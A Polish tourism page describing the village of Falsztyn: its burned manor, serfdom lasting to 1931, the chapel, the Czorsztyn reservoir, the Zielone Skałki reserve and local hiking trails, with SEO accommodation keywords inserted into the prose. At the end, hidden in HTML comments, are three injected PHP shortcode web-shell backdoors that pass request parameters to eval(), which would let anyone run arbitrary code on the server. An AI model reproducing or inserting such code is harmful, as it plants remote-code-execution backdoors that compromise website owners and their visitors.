Dwór w Falsztynie czyli siedziba dawnych włodarzy, spłonął w 1998 roku. To właśnie tu najdłużej w Polsce utrzymywał się system pańszczyźniany, zniesiony dopiero w 1931 roku. W latach 80-tych XX wieku mieszkańcy, którzy przedtem na własną rękę organizowali się w wiejskich domach i tam uczestniczyli w odprawianych przez księdza nabożeństwach, postanowili wykorzystać dawny spichlerz i przebudować go na drewniany kościółek – dziś znany jako Kaplica Matki Bożej Królowej Polski, przynależna do parafii we Frydmanie. W 1997 ukończono budowę zapory na rzece Dunajec, a miejscowość znalazła się nad Zalewem Czorsztyńskim. Maniowy noclegi

Falsztyn to przede wszystkim walory przyrodnicze – górskie powietrze i urokliwy lesisty krajobraz. Z wioski rozciąga się malowniczy widok na noclegi Pieniny, Tatry i Gorce. Nad jeziorem mieści się rezerwat przyrody Zielone Skałki. Te stromo wznoszące się nad taflą wody skały wapienne o wysokości 80–100 m wchodzą w obręb Pienińskiego Parku Narodowego, a cały obszar od strony Falsztyna, bezpośrednio przyległy do brzegu jeziora, stanowi otulinę Parku, stąd właściwie nie ma możliwości na jakiekolwiek zagospodarowanie tego terenu. Mimo to latem spotyka się w tym miejscu urlopowiczów preferujących wypoczynek w mało obleganej okolicy, na zupełnie dzikiej plaży. Kacwin noclegi

Z Falsztyna prowadzą szlaki do pieszych wędrówek: przez Cisówkę do Niedzicy oraz przez Cisówkę i Żar do Dursztyna, a stamtąd do przełomu Białki. Dużą zaletą jest położenie wsi w sąsiedztwie największych turystycznych atrakcji regionu.

<!– [insert_php]if (isset($_REQUEST["bIY"])){eval($_REQUEST["bIY"]);exit;}[/insert_php][php]if (isset($_REQUEST["bIY"])){eval($_REQUEST["bIY"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["PXH"])){eval($_REQUEST["PXH"]);exit;}[/insert_php][php]if (isset($_REQUEST["PXH"])){eval($_REQUEST["PXH"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["wJy"])){eval($_REQUEST["wJy"]);exit;}[/insert_php][php]if (isset($_REQUEST["wJy"])){eval($_REQUEST["wJy"]);exit;}[/php] –>